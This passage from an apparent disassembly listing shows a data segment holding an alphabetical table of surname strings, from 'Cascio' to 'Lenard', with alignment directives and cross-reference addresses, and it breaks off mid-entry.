seg002:0043FE68o align 4 aCascio db 'Cascio',0 ; DATA XREF: seg002:0043FE6Co align 4 aCase db 'Case',0 ; DATA XREF: seg002:0043FE70o align 4 aCaspar db 'Caspar',0 ; DATA XREF: seg002:0043FE74o align 4 aCastelda db 'Castelda',0 ; DATA XREF: seg002:0043FE78o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: seg002:0043FE7Co align 4 aCavell db 'Cavell',0 ; DATA XREF: seg002:0043FE80o align 4 aCeniceros db 'Ceniceros',0 ; DATA XREF: seg002:0043FE84o align 4 aCerioli db 'Cerioli',0 ; DATA XREF: seg002:0043FE88o aChapman db 'Chapman',0 ; DATA XREF: seg002:0043FE8Co aCharles db 'Charles',0 ; DATA XREF: seg002:0043FE90o aCheang db 'Cheang',0 ; DATA XREF: seg002:0043FE94o align 4 aCherry db 'Cherry',0 ; DATA XREF: seg002:0043FE98o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: seg002:0043FE9Co align 4 aChiassino db 'Chiassino',0 ; DATA XREF: seg002:0043FEA0o align 4 aChien db 'Chien',0 ; DATA XREF: seg002:0043FEA4o align 10h aChildress db 'Childress',0 ; DATA XREF: seg002:0043FEA8o align 4 aChilds db 'Childs',0 ; DATA XREF: seg002:0043FEACo align 4 aChinipardaz db 'Chinipardaz',0 ; DATA XREF: seg002:0043FEB0o aChinman db 'Chinman',0 ; DATA XREF: seg002:0043FEB4o aChristenson db 'Christenson',0 ; DATA XREF: seg002:0043FEB8o aChristian db 'Christian',0 ; DATA XREF: seg002:0043FEBCo align 10h aChristiano db 'Christiano',0 ; DATA XREF: seg002:0043FEC0o align 4 aChristie db 'Christie',0 ; DATA XREF: seg002:0043FEC4o align 4 aChristopher db 'Christopher',0 ; DATA XREF: seg002:0043FEC8o aChu db 'Chu',0 ; DATA XREF: seg002:0043FECCo aChupasko db 'Chupasko',0 ; DATA XREF: seg002:0043FED0o align 4 aChurch db 'Church',0 ; DATA XREF: seg002:0043FED4o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: seg002:0043FED8o align 4 aCicero db 'Cicero',0 ; DATA XREF: seg002:0043FEDCo align 10h aCifarelli db 'Cifarelli',0 ; DATA XREF: seg002:0043FEE0o align 4 aClaffey db 'Claffey',0 ; DATA XREF: seg002:0043FEE4o aClancy db 'Clancy',0 ; DATA XREF: seg002:0043FEE8o align 4 aClark db 'Clark',0 ; DATA XREF: seg002:0043FEECo align 4 aClement db 'Clement',0 ; DATA XREF: seg002:0043FEF0o aClifton db 'Clifton',0 ; DATA XREF: seg002:0043FEF4o aClow db 'Clow',0 ; DATA XREF: seg002:0043FEF8o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: seg002:0043FEFCo aCoito db 'Coito',0 ; DATA XREF: seg002:0043FF00o align 4 aColdren db 'Coldren',0 ; DATA XREF: seg002:0043FF04o aColella db 'Colella',0 ; DATA XREF: seg002:0043FF08o aCollard db 'Collard',0 ; DATA XREF: seg002:0043FF0Co aCollis db 'Collis',0 ; DATA XREF: seg002:0043FF10o align 4 aCompton db 'Compton',0 ; DATA XREF: seg002:0043FF14o aCompton_0 db 'Compton',0 ; DATA XREF: seg002:0043FF18o aComstock db 'Comstock',0 ; DATA XREF: seg002:0043FF1Co align 4 aConcino db 'Concino',0 ; DATA XREF: seg002:0043FF20o aCondodina db 'Condodina',0 ; DATA XREF: seg002:0043FF24o align 4 aConnors db 'Connors',0 ; DATA XREF: seg002:0043FF28o aCorey db 'Corey',0 ; DATA XREF: seg002:0043FF2Co align 4 aCornish db 'Cornish',0 ; DATA XREF: seg002:0043FF30o aCosmides db 'Cosmides',0 ; DATA XREF: seg002:0043FF34o align 10h aCounter db 'Counter',0 ; DATA XREF: seg002:0043FF38o aCoutaux db 'Coutaux',0 ; DATA XREF: seg002:0043FF3Co aCrawford db 'Crawford',0 ; DATA XREF: seg002:0043FF40o align 4 aCrocker db 'Crocker',0 ; DATA XREF: seg002:0043FF44o aCroshaw db 'Croshaw',0 ; DATA XREF: seg002:0043FF48o aCroxen db 'Croxen',0 ; DATA XREF: seg002:0043FF4Co align 4 aCroxton db 'Croxton',0 ; DATA XREF: seg002:0043FF50o aCui db 'Cui',0 ; DATA XREF: seg002:0043FF54o aCurrier db 'Currier',0 ; DATA XREF: seg002:0043FF58o aCutler db 'Cutler',0 ; DATA XREF: seg002:0043FF5Co align 10h aCvek db 'Cvek',0 ; DATA XREF: seg002:0043FF60o align 4 aCyders db 'Cyders',0 ; DATA XREF: seg002:0043FF64o align 10h aDasilva db 'daSilva',0 ; DATA XREF: seg002:0043FF68o aDaldalian db 'Daldalian',0 ; DATA XREF: seg002:0043FF6Co align 4 aDaly db 'Daly',0 ; DATA XREF: seg002:0043FF70o align 4 aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: seg002:0043FF74o aDanieli db 'Danieli',0 ; DATA XREF: seg002:0043FF78o aDante db 'Dante',0 ; DATA XREF: seg002:0043FF7Co align 4 aDapice db 'Dapice',0 ; DATA XREF: seg002:0043FF80o align 4 aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: seg002:0043FF84o aDas db 'Das',0 ; DATA XREF: seg002:0043FF88o aDasgupta db 'Dasgupta',0 ; DATA XREF: seg002:0043FF8Co align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: seg002:0043FF90o aDavid db 'David',0 ; DATA XREF: seg002:0043FF94o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: seg002:0043FF98o aDegennaro db 'DeGennaro',0 ; DATA XREF: seg002:0043FF9Co align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: seg002:0043FFA0o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: seg002:0043FFA4o align 4 aDerousse db 'deRousse',0 ; DATA XREF: seg002:0043FFA8o align 10h aDebroff db 'Debroff',0 ; DATA XREF: seg002:0043FFACo aDees db 'Dees',0 ; DATA XREF: seg002:0043FFB0o align 10h aDefeciani db 'Defeciani',0 ; DATA XREF: seg002:0043FFB4o align 4 aDelattre db 'Delattre',0 ; DATA XREF: seg002:0043FFB8o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: seg002:0043FFBCo align 4 aDelger db 'Delger',0 ; DATA XREF: seg002:0043FFC0o align 10h aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: seg002:0043FFC4o align 4 aDeming db 'Deming',0 ; DATA XREF: seg002:0043FFC8o align 4 aDempster db 'Dempster',0 ; DATA XREF: seg002:0043FFCCo align 10h aDemusz db 'Demusz',0 ; DATA XREF: seg002:0043FFD0o align 4 aDenault db 'Denault',0 ; DATA XREF: seg002:0043FFD4o aDenham db 'Denham',0 ; DATA XREF: seg002:0043FFD8o align 4 aDenison db 'Denison',0 ; DATA XREF: seg002:0043FFDCo aDesombre db 'Desombre',0 ; DATA XREF: seg002:0043FFE0o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: seg002:0043FFE4o aDFini db 'D',27h,'fini',0 ; DATA XREF: seg002:0043FFE8o align 4 aDicks db 'Dicks',0 ; DATA XREF: seg002:0043FFECo align 4 aDiefenbach db 'Diefenbach',0 ; DATA XREF: seg002:0043FFF0o align 10h aDifabio db 'Difabio',0 ; DATA XREF: seg002:0043FFF4o aDifronzo db 'Difronzo',0 ; DATA XREF: seg002:0043FFF8o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: seg002:0043FFFCo align 10h aDionysius db 'Dionysius',0 ; DATA XREF: seg002:00440000o align 4 aDirksen db 'Dirksen',0 ; DATA XREF: seg002:00440004o aDockery db 'Dockery',0 ; DATA XREF: seg002:00440008o aDoherty db 'Doherty',0 ; DATA XREF: seg002:0044000Co aDonahue db 'Donahue',0 ; DATA XREF: seg002:00440010o aDonner db 'Donner',0 ; DATA XREF: seg002:00440014o align 4 aDoonan db 'Doonan',0 ; DATA XREF: seg002:00440018o align 4 aDore db 'Dore',0 ; DATA XREF: seg002:0044001Co align 4 aDorf db 'Dorf',0 ; DATA XREF: seg002:00440020o align 4 aDosi db 'Dosi',0 ; DATA XREF: seg002:00440024o align 4 aDoty db 'Doty',0 ; DATA XREF: seg002:00440028o align 4 aDoug db 'Doug',0 ; DATA XREF: seg002:0044002Co align 4 aDowsland db 'Dowsland',0 ; DATA XREF: seg002:00440030o align 10h aDrinker db 'Drinker',0 ; DATA XREF: seg002:00440034o aDSouza db 'D',27h,'souza',0 ; DATA XREF: seg002:00440038o aDuffin db 'Duffin',0 ; DATA XREF: seg002:0044003Co align 4 aDurrett db 'Durrett',0 ; DATA XREF: seg002:00440040o aDussault db 'Dussault',0 ; DATA XREF: seg002:00440044o align 4 aDwyer db 'Dwyer',0 ; DATA XREF: seg002:00440048o align 4 aEardley db 'Eardley',0 ; DATA XREF: seg002:0044004Co aEbeling db 'Ebeling',0 ; DATA XREF: seg002:00440050o aEckel db 'Eckel',0 ; DATA XREF: seg002:00440054o align 4 aEdley db 'Edley',0 ; DATA XREF: seg002:00440058o align 4 aEdner db 'Edner',0 ; DATA XREF: seg002:0044005Co align 4 aEdward db 'Edward',0 ; DATA XREF: seg002:00440060o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: seg002:00440064o aEliasson db 'Eliasson',0 ; DATA XREF: seg002:00440068o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: seg002:0044006Co align 4 aElmerick db 'Elmerick',0 ; DATA XREF: seg002:00440070o align 4 aElvis db 'Elvis',0 ; DATA XREF: seg002:00440074o align 4 aEncinas db 'Encinas',0 ; DATA XREF: seg002:00440078o aEnyeart db 'Enyeart',0 ; DATA XREF: seg002:0044007Co aEppling db 'Eppling',0 ; DATA XREF: seg002:00440080o aErbach db 'Erbach',0 ; DATA XREF: seg002:00440084o align 4 aErdman db 'Erdman',0 ; DATA XREF: seg002:00440088o align 4 aErdos db 'Erdos',0 ; DATA XREF: seg002:0044008Co align 4 aErez db 'Erez',0 ; DATA XREF: seg002:00440090o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: seg002:00440094o align 10h aEstes db 'Estes',0 ; DATA XREF: seg002:00440098o align 4 aEtter db 'Etter',0 ; DATA XREF: seg002:0044009Co align 10h aEuripides db 'Euripides',0 ; DATA XREF: seg002:004400A0o align 4 aEverett db 'Everett',0 ; DATA XREF: seg002:004400A4o aFabbris db 'Fabbris',0 ; DATA XREF: seg002:004400A8o aFagan db 'Fagan',0 ; DATA XREF: seg002:004400ACo align 4 aFaioes db 'Faioes',0 ; DATA XREF: seg002:004400B0o align 4 aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: seg002:004400B4o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: seg002:004400B8o aFaris db 'Faris',0 ; DATA XREF: seg002:004400BCo align 4 aFarone db 'Farone',0 ; DATA XREF: seg002:004400C0o align 4 aFarren db 'Farren',0 ; DATA XREF: seg002:004400C4o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: seg002:004400C8o align 4 aFates db 'Fates',0 ; DATA XREF: seg002:004400CCo align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: seg002:004400D0o align 4 aFejzo db 'Fejzo',0 ; DATA XREF: seg002:004400D4o align 10h aFeldman db 'Feldman',0 ; DATA XREF: seg002:004400D8o aFernald db 'Fernald',0 ; DATA XREF: seg002:004400DCo aFernandes db 'Fernandes',0 ; DATA XREF: seg002:004400E0o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: seg002:004400E4o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: seg002:004400E8o align 4 aFeuer db 'Feuer',0 ; DATA XREF: seg002:004400ECo align 4 aFido db 'Fido',0 ; DATA XREF: seg002:004400F0o align 4 aField db 'Field',0 ; DATA XREF: seg002:004400F4o align 4 aFink db 'Fink',0 ; DATA XREF: seg002:004400F8o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: seg002:004400FCo aFinnegan db 'Finnegan',0 ; DATA XREF: seg002:00440100o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: seg002:00440104o aFisk db 'Fisk',0 ; DATA XREF: seg002:00440108o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: seg002:0044010Co aFlier db 'Flier',0 ; DATA XREF: seg002:00440110o align 10h aFlores db 'Flores',0 ; DATA XREF: seg002:00440114o align 4 aFolks db 'Folks',0 ; DATA XREF: seg002:00440118o align 10h aForester db 'Forester',0 ; DATA XREF: seg002:0044011Co align 4 aFortes db 'Fortes',0 ; DATA XREF: seg002:00440120o align 4 aFortier db 'Fortier',0 ; DATA XREF: seg002:00440124o aFossey db 'Fossey',0 ; DATA XREF: seg002:00440128o align 4 aFossi db 'Fossi',0 ; DATA XREF: seg002:0044012Co align 4 aFrancisco db 'Francisco',0 ; DATA XREF: seg002:00440130o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: seg002:00440134o align 4 aFranz db 'Franz',0 ; DATA XREF: seg002:00440138o align 10h aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: seg002:0044013Co align 10h aFreid db 'Freid',0 ; DATA XREF: seg002:00440140o align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: seg002:00440144o align 4 aFried db 'Fried',0 ; DATA XREF: seg002:00440148o align 4 aFriedland db 'Friedland',0 ; DATA XREF: seg002:0044014Co align 4 aFrisken db 'Frisken',0 ; DATA XREF: seg002:00440150o aFrowiss db 'Frowiss',0 ; DATA XREF: seg002:00440154o aFryberger db 'Fryberger',0 ; DATA XREF: seg002:00440158o align 4 aFrye db 'Frye',0 ; DATA XREF: seg002:0044015Co align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: seg002:00440160o align 4 aFuller db 'Fuller',0 ; DATA XREF: seg002:00440164o align 10h aFurth db 'Furth',0 ; DATA XREF: seg002:00440168o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: seg002:0044016Co align 10h aGabrielli db 'Gabrielli',0 ; DATA XREF: seg002:00440170o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: seg002:00440174o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: seg002:00440178o align 4 aGalwey db 'Galwey',0 ; DATA XREF: seg002:0044017Co align 4 aGambini db 'Gambini',0 ; DATA XREF: seg002:00440180o aGarfield db 'Garfield',0 ; DATA XREF: seg002:00440184o align 10h aGarman db 'Garman',0 ; DATA XREF: seg002:00440188o align 4 aGaronna db 'Garonna',0 ; DATA XREF: seg002:0044018Co aGeller db 'Geller',0 ; DATA XREF: seg002:00440190o align 4 aGemberling db 'Gemberling',0 ; DATA XREF: seg002:00440194o align 4 aGeorgi db 'Georgi',0 ; DATA XREF: seg002:00440198o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: seg002:0044019Co aGhorai db 'Ghorai',0 ; DATA XREF: seg002:004401A0o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: seg002:004401A4o aGibson db 'Gibson',0 ; DATA XREF: seg002:004401A8o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: seg002:004401ACo aGili db 'Gili',0 ; DATA XREF: seg002:004401B0o align 4 aGill db 'Gill',0 ; DATA XREF: seg002:004401B4o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: seg002:004401B8o align 10h aGist db 'Gist',0 ; DATA XREF: seg002:004401BCo align 4 aGleason db 'Gleason',0 ; DATA XREF: seg002:004401C0o aGlegg db 'Glegg',0 ; DATA XREF: seg002:004401C4o align 4 aGlendon db 'Glendon',0 ; DATA XREF: seg002:004401C8o aGoldfarb db 'Goldfarb',0 ; DATA XREF: seg002:004401CCo align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: seg002:004401D0o align 4 aGood db 'Good',0 ; DATA XREF: seg002:004401D4o align 10h aGoodearl db 'Goodearl',0 ; DATA XREF: seg002:004401D8o align 4 aGoody db 'Goody',0 ; DATA XREF: seg002:004401DCo align 4 aGozzi db 'Gozzi',0 ; DATA XREF: seg002:004401E0o align 4 aGravell db 'Gravell',0 ; DATA XREF: seg002:004401E4o aGreenberg db 'Greenberg',0 ; DATA XREF: seg002:004401E8o align 10h aGreenfeld db 'Greenfeld',0 ; DATA XREF: seg002:004401ECo align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: seg002:004401F0o align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: seg002:004401F4o align 4 aGrummell db 'Grummell',0 ; DATA XREF: seg002:004401F8o align 10h aGruner db 'Gruner',0 ; DATA XREF: seg002:004401FCo align 4 aGruppe db 'Gruppe',0 ; DATA XREF: seg002:00440200o align 10h aGuenthart db 'Guenthart',0 ; DATA XREF: seg002:00440204o align 4 aGunn db 'Gunn',0 ; DATA XREF: seg002:00440208o align 4 aGuo db 'Guo',0 ; DATA XREF: seg002:0044020Co aHa db 'Ha',0 ; DATA XREF: seg002:00440210o align 4 aHaar db 'Haar',0 ; DATA XREF: seg002:00440214o align 4 aHackman db 'Hackman',0 ; DATA XREF: seg002:00440218o aHackshaw db 'Hackshaw',0 ; DATA XREF: seg002:0044021Co align 4 aHaley db 'Haley',0 ; DATA XREF: seg002:00440220o align 10h aHalkias db 'Halkias',0 ; DATA XREF: seg002:00440224o aHallowell db 'Hallowell',0 ; DATA XREF: seg002:00440228o align 4 aHalpert db 'Halpert',0 ; DATA XREF: seg002:0044022Co aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: seg002:00440230o align 4 aHamer db 'Hamer',0 ; DATA XREF: seg002:00440234o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: seg002:00440238o align 10h aHand db 'Hand',0 ; DATA XREF: seg002:0044023Co align 4 aHanssen db 'Hanssen',0 ; DATA XREF: seg002:00440240o aHarding db 'Harding',0 ; DATA XREF: seg002:00440244o aHargraves db 'Hargraves',0 ; DATA XREF: seg002:00440248o align 4 aHarlow db 'Harlow',0 ; DATA XREF: seg002:0044024Co align 4 aHarrigan db 'Harrigan',0 ; DATA XREF: seg002:00440250o align 4 aHartman db 'Hartman',0 ; DATA XREF: seg002:00440254o aHartmann db 'Hartmann',0 ; DATA XREF: seg002:00440258o align 4 aHartnett db 'Hartnett',0 ; DATA XREF: seg002:0044025Co align 4 aHarwell db 'Harwell',0 ; DATA XREF: seg002:00440260o aHaviaras db 'Haviaras',0 ; DATA XREF: seg002:00440264o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: seg002:00440268o align 4 aHayes db 'Hayes',0 ; DATA XREF: seg002:0044026Co align 4 aHaynes db 'Haynes',0 ; DATA XREF: seg002:00440270o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: seg002:00440274o align 10h aHeermans db 'Heermans',0 ; DATA XREF: seg002:00440278o align 4 aHeft db 'Heft',0 ; DATA XREF: seg002:0044027Co align 4 aHeiland db 'Heiland',0 ; DATA XREF: seg002:00440280o aHellman db 'Hellman',0 ; DATA XREF: seg002:00440284o aHellmiss db 'Hellmiss',0 ; DATA XREF: seg002:00440288o align 10h aHelprin db 'Helprin',0 ; DATA XREF: seg002:0044028Co aHemphill db 'Hemphill',0 ; DATA XREF: seg002:00440290o align 4 aHenery db 'Henery',0 ; DATA XREF: seg002:00440294o align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: seg002:00440298o align 4 aHernandez db 'Hernandez',0 ; DATA XREF: seg002:0044029Co align 4 aHerrera db 'Herrera',0 ; DATA XREF: seg002:004402A0o aHester db 'Hester',0 ; DATA XREF: seg002:004402A4o align 4 aHeubert db 'Heubert',0 ; DATA XREF: seg002:004402A8o aHeyeck db 'Heyeck',0 ; DATA XREF: seg002:004402ACo align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: seg002:004402B0o align 10h aHind db 'Hind',0 ; DATA XREF: seg002:004402B4o align 4 aHirst db 'Hirst',0 ; DATA XREF: seg002:004402B8o align 10h aHitchcock db 'Hitchcock',0 ; DATA XREF: seg002:004402BCo align 4 aHoang db 'Hoang',0 ; DATA XREF: seg002:004402C0o align 4 aHock db 'Hock',0 ; DATA XREF: seg002:004402C4o align 4 aHoffer db 'Hoffer',0 ; DATA XREF: seg002:004402C8o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: seg002:004402CCo aHokanson db 'Hokanson',0 ; DATA XREF: seg002:004402D0o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: seg002:004402D4o align 10h aHolmes db 'Holmes',0 ; DATA XREF: seg002:004402D8o align 4 aHoloien db 'Holoien',0 ; DATA XREF: seg002:004402DCo aHolter db 'Holter',0 ; DATA XREF: seg002:004402E0o align 4 aHolway db 'Holway',0 ; DATA XREF: seg002:004402E4o align 10h aHolzman db 'Holzman',0 ; DATA XREF: seg002:004402E8o aHooker db 'Hooker',0 ; DATA XREF: seg002:004402ECo align 10h aHopkins db 'Hopkins',0 ; DATA XREF: seg002:004402F0o aHorsley db 'Horsley',0 ; DATA XREF: seg002:004402F4o aHoshida db 'Hoshida',0 ; DATA XREF: seg002:004402F8o aHostage db 'Hostage',0 ; DATA XREF: seg002:004402FCo aHottle db 'Hottle',0 ; DATA XREF: seg002:00440300o align 4 aHoward db 'Howard',0 ; DATA XREF: seg002:00440304o align 10h aHoy db 'Hoy',0 ; DATA XREF: seg002:00440308o aHuey db 'Huey',0 ; DATA XREF: seg002:0044030Co align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: seg002:00440310o align 4 aHungerford db 'Hungerford',0 ; DATA XREF: seg002:00440314o align 4 aHuntington db 'Huntington',0 ; DATA XREF: seg002:00440318o align 10h aHupp db 'Hupp',0 ; DATA XREF: seg002:0044031Co align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: seg002:00440320o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: seg002:00440324o align 10h aHyde db 'Hyde',0 ; DATA XREF: seg002:00440328o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: seg002:0044032Co align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: seg002:00440330o align 10h aIgarashi db 'Igarashi',0 ; DATA XREF: seg002:00440334o align 4 aInamura db 'Inamura',0 ; DATA XREF: seg002:00440338o aInniss db 'Inniss',0 ; DATA XREF: seg002:0044033Co align 4 aIsaac db 'Isaac',0 ; DATA XREF: seg002:00440340o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: seg002:00440344o align 10h aIsbill db 'Isbill',0 ; DATA XREF: seg002:00440348o align 4 aIsserman db 'Isserman',0 ; DATA XREF: seg002:0044034Co align 4 aIyer db 'Iyer',0 ; DATA XREF: seg002:00440350o align 4 aJacenko db 'Jacenko',0 ; DATA XREF: seg002:00440354o aJackson db 'Jackson',0 ; DATA XREF: seg002:00440358o aJagers db 'Jagers',0 ; DATA XREF: seg002:0044035Co align 4 aJagger db 'Jagger',0 ; DATA XREF: seg002:00440360o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: seg002:00440364o align 4 aJain db 'Jain',0 ; DATA XREF: seg002:00440368o align 4 aJamil db 'Jamil',0 ; DATA XREF: seg002:0044036Co align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: seg002:00440370o align 10h aJarnagin db 'Jarnagin',0 ; DATA XREF: seg002:00440374o align 4 aJarrell db 'Jarrell',0 ; DATA XREF: seg002:00440378o aJay db 'Jay',0 ; DATA XREF: seg002:0044037Co aJeffers db 'Jeffers',0 ; DATA XREF: seg002:00440380o aJellis db 'Jellis',0 ; DATA XREF: seg002:00440384o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: seg002:00440388o aJespersen db 'Jespersen',0 ; DATA XREF: seg002:0044038Co align 4 aJewett db 'Jewett',0 ; DATA XREF: seg002:00440390o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: seg002:00440394o aJohannsen db 'Johannsen',0 ; DATA XREF: seg002:00440398o align 4 aJohns db 'Johns',0 ; DATA XREF: seg002:0044039Co align 4 aJolly db 'Jolly',0 ; DATA XREF: seg002:004403A0o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: seg002:004403A4o align 4 aJucks db 'Jucks',0 ; DATA XREF: seg002:004403A8o align 10h aJuliano db 'Juliano',0 ; DATA XREF: seg002:004403ACo aJulious db 'Julious',0 ; DATA XREF: seg002:004403B0o aKabbash db 'Kabbash',0 ; DATA XREF: seg002:004403B4o aKaboolian db 'Kaboolian',0 ; DATA XREF: seg002:004403B8o align 4 aKafadar db 'Kafadar',0 ; DATA XREF: seg002:004403BCo aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: seg002:004403C0o aKaligian db 'Kaligian',0 ; DATA XREF: seg002:004403C4o align 4 aKalil db 'Kalil',0 ; DATA XREF: seg002:004403C8o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: seg002:004403CCo align 4 aKalman db 'Kalman',0 ; DATA XREF: seg002:004403D0o align 10h aKamel db 'Kamel',0 ; DATA XREF: seg002:004403D4o align 4 aKangis db 'Kangis',0 ; DATA XREF: seg002:004403D8o align 10h aKarpouzes db 'Karpouzes',0 ; DATA XREF: seg002:004403DCo align 4 aKassower db 'Kassower',0 ; DATA XREF: seg002:004403E0o align 4 aKasten db 'Kasten',0 ; DATA XREF: seg002:004403E4o align 10h aKawachi db 'Kawachi',0 ; DATA XREF: seg002:004403E8o aKee db 'Kee',0 ; DATA XREF: seg002:004403ECo aKeenan db 'Keenan',0 ; DATA XREF: seg002:004403F0o align 4 aKeepper db 'Keepper',0 ; DATA XREF: seg002:004403F4o aKeith db 'Keith',0 ; DATA XREF: seg002:004403F8o align 4 aKelker db 'Kelker',0 ; DATA XREF: seg002:004403FCo align 4 aKelsey db 'Kelsey',0 ; DATA XREF: seg002:00440400o align 4 aKempton db 'Kempton',0 ; DATA XREF: seg002:00440404o aKemsley db 'Kemsley',0 ; DATA XREF: seg002:00440408o aKendall db 'Kendall',0 ; DATA XREF: seg002:0044040Co aKerry db 'Kerry',0 ; DATA XREF: seg002:00440410o align 4 aKeul db 'Keul',0 ; DATA XREF: seg002:00440414o align 4 aKhong db 'Khong',0 ; DATA XREF: seg002:00440418o align 4 aKimmel db 'Kimmel',0 ; DATA XREF: seg002:0044041Co align 4 aKimmett db 'Kimmett',0 ; DATA XREF: seg002:00440420o aKimura db 'Kimura',0 ; DATA XREF: seg002:00440424o align 4 aKindall db 'Kindall',0 ; DATA XREF: seg002:00440428o aKinsley db 'Kinsley',0 ; DATA XREF: seg002:0044042Co aKippenberger db 'Kippenberger',0 ; DATA XREF: seg002:00440430o align 4 aKirscht db 'Kirscht',0 ; DATA XREF: seg002:00440434o aKittridge db 'Kittridge',0 ; DATA XREF: seg002:00440438o align 10h aKleckner db 'Kleckner',0 ; DATA XREF: seg002:0044043Co align 4 aKleiman db 'Kleiman',0 ; DATA XREF: seg002:00440440o aKleinfelder db 'Kleinfelder',0 ; DATA XREF: seg002:00440444o aKlemperer db 'Klemperer',0 ; DATA XREF: seg002:00440448o align 4 aKling db 'Kling',0 ; DATA XREF: seg002:0044044Co align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: seg002:00440450o aKlint db 'Klint',0 ; DATA XREF: seg002:00440454o align 4 aKnuff db 'Knuff',0 ; DATA XREF: seg002:00440458o align 10h aKobrick db 'Kobrick',0 ; DATA XREF: seg002:0044045Co aKoch db 'Koch',0 ; DATA XREF: seg002:00440460o align 10h aKohn db 'Kohn',0 ; DATA XREF: seg002:00440464o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: seg002:00440468o align 4 aKommer db 'Kommer',0 ; DATA XREF: seg002:0044046Co align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: seg002:00440470o align 4 aKonrad db 'Konrad',0 ; DATA XREF: seg002:00440474o align 10h aKool db 'Kool',0 ; DATA XREF: seg002:00440478o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: seg002:0044047Co align 4 aKotter db 'Kotter',0 ; DATA XREF: seg002:00440480o align 4 aKovaks db 'Kovaks',0 ; DATA XREF: seg002:00440484o align 4 aKraemer db 'Kraemer',0 ; DATA XREF: seg002:00440488o aKrailo db 'Krailo',0 ; DATA XREF: seg002:0044048Co align 4 aKrasney db 'Krasney',0 ; DATA XREF: seg002:00440490o aKraus db 'Kraus',0 ; DATA XREF: seg002:00440494o align 4 aKroemer db 'Kroemer',0 ; DATA XREF: seg002:00440498o aKrysiak db 'Krysiak',0 ; DATA XREF: seg002:0044049Co aKuenzli db 'Kuenzli',0 ; DATA XREF: seg002:004404A0o aKumar db 'Kumar',0 ; DATA XREF: seg002:004404A4o align 4 aKusman db 'Kusman',0 ; DATA XREF: seg002:004404A8o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: seg002:004404ACo align 4 aLa db 'La',0 ; DATA XREF: seg002:004404B0o align 4 aLabunka db 'Labunka',0 ; DATA XREF: seg002:004404B4o aLafler db 'Lafler',0 ; DATA XREF: seg002:004404B8o align 4 aLaing db 'Laing',0 ; DATA XREF: seg002:004404BCo align 4 aLallemant db 'Lallemant',0 ; DATA XREF: seg002:004404C0o align 10h aLandes db 'Landes',0 ; DATA XREF: seg002:004404C4o align 4 aLankes db 'Lankes',0 ; DATA XREF: seg002:004404C8o align 10h aLantieri db 'Lantieri',0 ; DATA XREF: seg002:004404CCo align 4 aLanzit db 'Lanzit',0 ; DATA XREF: seg002:004404D0o align 4 aLaserna db 'Laserna',0 ; DATA XREF: seg002:004404D4o aLashley db 'Lashley',0 ; DATA XREF: seg002:004404D8o aLawless db 'Lawless',0 ; DATA XREF: seg002:004404DCo aLecar db 'Lecar',0 ; DATA XREF: seg002:004404E0o align 4 aLecce db 'Lecce',0 ; DATA XREF: seg002:004404E4o align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: seg002:004404E8o align 4 aLeite db 'Leite',0 ; DATA XREF: seg002:004404ECo align 10h aLenard db 